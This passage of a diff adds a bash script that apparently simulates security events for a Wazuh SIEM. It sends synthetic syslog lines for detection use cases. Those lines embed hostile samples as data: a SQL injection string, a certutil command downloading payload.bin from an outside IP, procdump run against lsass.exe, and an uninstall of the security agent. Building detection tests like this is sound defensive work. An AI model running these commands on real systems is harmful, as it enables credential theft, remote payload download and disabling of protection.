+    "vCenter GUI Login Failed 5 Times and Success 1 Time" \
126
+    "event_type=vmware_vcenter_login_fail_success login_fail_count=5 login_success_count=1 user=\"${SIM_USER}\" src_ip=${sip}"
127
+
128
+  emit_b_usecase "B1-02" "B1" "medium" "vmware" "${ESXI_HOST}" \
129
+    "ESXi Enable SSH on Hosts" \
130
+    "event_type=vmware_esxi_enable_ssh action=enable service=ssh user=\"root\" host=\"${ESXI_HOST}\""
131
+
132
+  emit_b_usecase "B1-03" "B1" "high" "vmware" "${ESXI_HOST}" \
133
+    "ESXi SSH Failed 5 Times and Success 1 Time" \
134
+    "event_type=vmware_esxi_ssh_fail_success ssh_fail_count=5 ssh_success_count=1 user=\"root\" src_ip=${sip}"
135
+}
136
+
137
+emit_b2() {
138
+  emit_b_usecase "B2-01" "B2" "low" "log_monitor" "${LOGMON_HOST}" \
139
+    "Log Monitor Logs Loss Detection" \
140
+    "event_type=log_loss_detection missing_stream=firewall expected_eps=500 observed_eps=0 duration_seconds=180"
141
+}
142
+
143
+emit_b3() {
144
+  emit_b_usecase "B3-01" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
145
+    "Sysmon LSASS Dumping" \
146
+    "event_type=sysmon_lsass_dump event_id=10 process=procdump.exe target_process=lsass.exe user=\"${SIM_USER}\""
147
+
148
+  emit_b_usecase "B3-02" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
149
+    "Sysmon SQL Injection" \
150
+    "event_type=sysmon_sql_injection event_id=1 process=w3wp.exe url=\"/app/login.php?id=1%27%20OR%201=1--\""
151
+
152
+  emit_b_usecase "B3-03" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
153
+    "Sysmon Webshell" \
154
+    "event_type=sysmon_webshell event_id=11 file=\"C:\\\\inetpub\\\\wwwroot\\\\shell.aspx\" process=w3wp.exe"
155
+
156
+  emit_b_usecase "B3-04" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
157
+    "Sysmon Uninstall" \
158
+    "event_type=sysmon_security_agent_uninstall event_id=1 process=msiexec.exe cmdline=\"msiexec /x security-agent\" user=\"${SIM_USER}\""
159
+
160
+  emit_b_usecase "B3-05" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
161
+    "Sysmon LSASS Dumping by Task Manager" \
162
+    "event_type=sysmon_lsass_dump_taskmgr event_id=10 process=taskmgr.exe target_process=lsass.exe action=create_dump"
163
+
164
+  emit_b_usecase "B3-06" "B3" "medium" "windows_sysmon" "${WIN_SYSMON_HOST}" \
165
+    "Sysmon CertUtil Download" \
166
+    "event_type=sysmon_certutil_download event_id=1 process=certutil.exe cmdline=\"certutil -urlcache -split -f http://198.51.100.22/payload.bin payload.bin\""
167
+}
168
+
169
+emit_selected_set() {
170
+  local sel
171
+  sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
172
+
173
+  case "${sel}" in
174
+    all)
175
+      emit_b1
176
+      emit_b2
177
+      emit_b3
178
+      ;;
179
+    b1|b1-*)
180
+      emit_b1
181
+      ;;
182
+    b2|b2-*)
183
+      emit_b2
184
+      ;;
185
+    b3|b3-*)
186
+      emit_b3
187
+      ;;
188
+    *)
189
+      emit_b1
190
+      emit_b2
191
+      emit_b3
192
+      ;;
193
+  esac
194
+}
195
+
196
+echo "starting proposal Appendix B log simulator"
197
+echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN}"
198
+echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
199
+
200
+if [[ "${FOREVER}" == "true" ]]; then
201
+  echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
202
+  trap 'echo; echo "stopped"; exit 0' INT TERM
203
+  while true; do
204
+    emit_selected_set
205
+    sleep "${DELAY}"
206
+  done
207
+else
208
+  for ((i=1; i<=COUNT; i++)); do
209
+    emit_selected_set
210
+    if [[ "${i}" -lt "${COUNT}" ]]; then
211
+      sleep "${DELAY}"
212
+    fi
213
+  done
214
+  echo "done"
215
+fi